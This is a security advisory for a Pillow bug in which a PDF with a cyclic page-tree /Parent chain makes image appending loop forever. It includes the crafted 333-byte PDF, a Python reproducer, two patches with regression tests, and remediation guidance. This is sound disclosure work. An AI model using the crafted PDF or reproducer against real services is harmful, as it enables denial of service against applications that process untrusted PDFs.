GHSA-f2g6-542v-9j58: Pip/Pillow vulnerability
============================================================================ Infinite loop in PdfParser.rewritepages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewritepages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or saveall=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.
The bug is in PdfParser.rewritepages() in src/PIL/PdfParser.py (the while pagestreenoderef: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin.save() → writecatalog() → rewritepages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.
This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processedoffsets guard added to readprevtrailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.
The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewritepages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.
Details
PdfParser.rewritepages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.
The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:
%PDF-1.4 1 0 obj <</Type /Catalog /Pages 2 0 R>> endobj 2 0 obj <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>> endobj 3 0 obj <</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <</Size 4 /Root 1 0 R>> startxref 192 %%EOF
Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:
File "src/PIL/PdfImagePlugin.py", line 263, in save existingpdf.writecatalog() File "src/PIL/PdfParser.py", line 473, in writecatalog self.rewritepages() File "src/PIL/PdfParser.py", line 505, in rewritepages while pagestreenoderef:
The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.
The loop:
python src/PIL/PdfParser.py:483-510 def rewritepages(self) -> None: pagestreenodestodelete = [] for i, pageref in enumerate(self.origpages): pageinfo = self.cachedobjects[pageref] del self.xreftable[pageref.objectid] pagestreenodestodelete.append(pageinfo[PdfName(b"Parent")]) … # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid] pagestreenoderef = pagestreenode.get(b"Parent", None) self.origpages = []
How the input gets there: with append=True, PdfImagePlugin.save() opens the existing bytes with PdfParser.PdfParser(f=fp, …, mode="r+b") (src/PIL/PdfImagePlugin.py:199), whose constructor calls readpdfinfo(). That reads the catalog, reads the page-tree root through readindirect() — which stores every object it reads in self.cachedobjects (src/PIL/PdfParser.py:1077) — and flattens the tree with linearizepagetree(), which readindirect()s every /Kids entry. So after parsing, origpages == [3 0 R] and objects 2 and 3 are both in cachedobjects. save() then calls existingpdf.writecatalog() → rewritepages().
For the file above, the first loop puts page 3's /Parent, 2 0 R, into pagestreenodestodelete. The inner while looks object 2 up in cachedobjects, removes it from the xref table on the first pass, and sets pagestreenoderef to object 2's /Parent — which is 2 0 R again. Nothing in the loop body changes on subsequent iterations, so it never exits: cachedobjects[2 0 R] is never evicted, and deleting an already-deleted id from XrefTable is silent — delitem only records the id in deletedentries, while contains keeps answering from existingentries. The loop performs no I/O and no allocation, so neither MemoryError nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through linearizepagetree() and is therefore cached (e.g. root 2 → /Kids [4 0 R], node 4 → /Kids [3 0 R] /Parent 2 0 R, and root 2 declaring /Parent 4 0 R); a /Parent pointing at an object that was never read raises KeyError instead, which is harmless.
The parser already defends against exactly this shape of problem one level up: readprevtrailer() (src/PIL/PdfParser.py:699-722) carries a processedoffsets list and raises PdfFormatError("trailer loop found") when a /Prev offset repeats — the fix for CVE-2026-42310. The /Parent walk in rewritepages() has no equivalent guard.
The unguarded walk was introduced in 24ecfe315ab5 ("issue #2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0.
Impact
Any application that appends pages to a PDF it did not produce — im.save(fp, "PDF", append=True) or saveall=True, append=True on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain Image.open() pipelines are not affected.
This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer /Prev chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.
Reproducing
repro is a single Python script that runs against the installed Pillow (/src/src/PIL). It needs no build step and no companion files, and takes about 5 seconds.
The script builds two one-page PDFs in memory with makepdf(). Each has a Catalog (object 1), a /Pages root (object 2) and a /Page (object 3), and each has a correct xref table. The only difference between them is in object 2:
- control has <</Type /Pages /Kids [3 0 R] /Count 1>>. This is a normal file. - cyclic has <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>, so the page-tree root names itself as its own /Parent. This is the 333-byte file shown above.
For each PDF the script prints the bytes and then calls Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) under a 5-second SIGALRM watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints OK without giving a verdict.
Expected output on this commit (PDF dumps omitted):
[control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 savehandler(self, fp, filename) save() /src/src/PIL/PdfImagePlugin.py:263 existingpdf.writecatalog() writecatalog() /src/src/PIL/PdfParser.py:473 self.rewritepages() rewritepages() /src/src/PIL/PdfParser.py:506 pagestreenode = self.cachedobjects[pagestreenoderef] ... BUG
The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The rewritepages() frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints OK. With attached patch 1 applied it prints [cyclic] append finished in 0.001s and OK. With attached patch 2 it prints [cyclic] raised PdfFormatError: page tree loop found and OK. The last line is BUG only when the cyclic append is still running when the watchdog fires.
Suggested fix
Both attached patches fix the root cause, which is that the /Parent walk in rewritepages() keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.
Attached patch 1 (tolerant; our preference) adds one processedpagestreenodes set that is shared across all pages in the delete loop, and breaks out of the while as soon as it reaches a node it has already seen:
python src/PIL/PdfParser.py, rewritepages() processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: if pagestreenoderef in processedpagestreenodes: break processedpagestreenodes.add(pagestreenoderef) …
Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.
Attached patch 2 (strict) follows the readprevtrailer() guard from the CVE-2026-42310 fix. It keeps a processedpagestreenodes list for each page and calls checkformatcondition(pagestreenoderef not in processedpagestreenodes, "page tree loop found"), so a cyclic file is rejected with PdfFormatError. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from writecatalog(). By then the new page objects have already been written to the r+b file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.
Each patch also adds a testpagetreeparentloop regression test to Tests/testpdfparser.py. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other /Parent walk exists in the parser, and linearizepagetree() does not follow /Parent.
Note that this walk follows /Parent links, which nothing else in PdfParser reads: linearizepagetree() only follows /Kids downward and never looks at /Parent, so a visited-set added to the /Kids recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped /Kids structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change.
Related findings
- Exponential page tree expansion in PdfParser.linearizepagetree() (repeated /Kids references) hangs PDF append — the downward counterpart of this bug in the same parser and on the same Image.save(..., "PDF", append=True) entry point: linearizepagetree() (src/PIL/PdfParser.py:1080-1094) recurses into every /Kids entry and re-parses it via readindirect() with no visited set, so a /Pages chain whose nodes list the same child N times over D levels costs N<sup>D</sup> object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct /Kids cycle ends in RecursionError). It differs from this report in the link followed (/Kids down vs /Parent up), the function and phase (linearizepagetree() during readpdfinfo() in the PdfParser constructor vs rewritepages() during writecatalog()), the introducing commit (6207b44ab1ff vs 24ecfe315ab5), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the /Parent walk and leave the /Kids reproducer hanging in linearizepagetree(), and the /Kids guard conversely leaves this reproducer spinning in rewritepages() — verified by cross-applying each patch. Applied together (the /Kids guard plus attached patch 2), both reproducers are rejected with PdfFormatError: page tree loop found and Tests/testpdfparser.py + Tests/testfilepdf.py pass (30 tests).
The patch (1 of 2)
Track visited page-tree nodes in PdfParser.rewritepages() so a cyclic /Parent chain cannot loop forever when appending to a PDF
Applies to src/PIL/PdfParser.py at the commit above.
diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,28 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + pdf.writecatalog() + pdf.writexrefandtrailer() + assert 2 in pdf.xreftable.deletedentries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table + processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: + if pagestreenoderef in processedpagestreenodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processedpagestreenodes.add(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]
The patch (2 of 2)
Raise PdfFormatError("page tree loop found") in PdfParser.rewritepages() when a page's /Parent chain loops back on itself
Applies to src/PIL/PdfParser.py at the commit above.
diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,27 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + with pytest.raises(PdfFormatError, match="page tree loop found"): + pdf.writecatalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: + processedpagestreenodes = [] while pagestreenoderef: + checkformatcondition( + pagestreenoderef not in processedpagestreenodes, + "page tree loop found", + ) + processedpagestreenodes.append(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 3,152 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 """Infinite loop in PdfParser.rewritepages() on a cyclic /Parent chain.
Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes rewritepages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever.
We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. """ import io import signal import time import traceback
from PIL import Image
WATCHDOGS = 5
def makepdf(pagesroot): """Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.""" objects = [ b"<</Type /Catalog /Pages 2 0 R>>", pagesroot, b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", ] pdf = bytearray(b"%PDF-1.4\n") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body) xrefoffset = len(pdf) pdf += b"xref\n0 4\n0000000000 65535 f \n" pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets) pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset return bytes(pdf)
class StillRunning(BaseException): pass
def onalarm(signum, frame): raise StillRunning
def appendimage(name, pdf): """Append an image to pdf; return True if it finished before the watchdog.""" print(f"--- {name}: {len(pdf)}-byte PDF ---") print(pdf.decode("latin-1"), end="") signal.alarm(WATCHDOGS) start = time.monotonic() try: Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) except StillRunning as e: print(f"[{name}] still running after {WATCHDOGS}s, interrupted in:") for frame in traceback.extracttb(e.traceback): if "/PIL/" in frame.filename: print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f"[{name}] raised {type(e).name}: {e}") return True finally: signal.alarm(0) print(f"[{name}] append finished in {time.monotonic() - start:.3f}s") return True
signal.signal(signal.SIGALRM, onalarm)
Set up: the well-formed file is appended to instantly. control = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>") if not appendimage("control", control): print("control case did not finish; environment problem, no verdict") print("OK") raise SystemExit
Attack: the same file, except the /Pages root is its own /Parent. cyclic = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>") finished = appendimage("cyclic", cyclic)
Verify: a fixed parser finishes (or rejects the file) like the control. print("BUG" if not finished else "OK") </details>
---
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/Pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch a707c6b21c313880d0771e54965d142dd42358b6
Event History
Frequently Asked Questions
Which applications are exposed to this issue?
Applications are exposed when they accept an existing PDF from an untrusted party and then append an image using Pillow's PDF save path with append=True, including save_all=True with append=True.
What does an attacker need to do to trigger the hang?
An attacker needs to supply a crafted PDF whose page-tree /Parent references form a cycle, such as a /Pages root that names itself as its own /Parent. The application must process that PDF through the affected append operation.
What is the operational impact of successful exploitation?
Processing the crafted file causes the worker to loop indefinitely while consuming one processor core at 100%. Memory use remains flat, so repeated requests could tie up available workers.
What can be done if patching cannot happen immediately?
Run PDF append processing with an external timeout so that a worker stuck in the loop is terminated. This is necessary because the affected code does not detect repeated page-tree nodes.
How can I identify a malicious or affected input?
Inspect the PDF page tree for cyclic /Parent references. A file is problematic if following /Parent links from a page-tree node revisits a node instead of eventually reaching a node with no /Parent.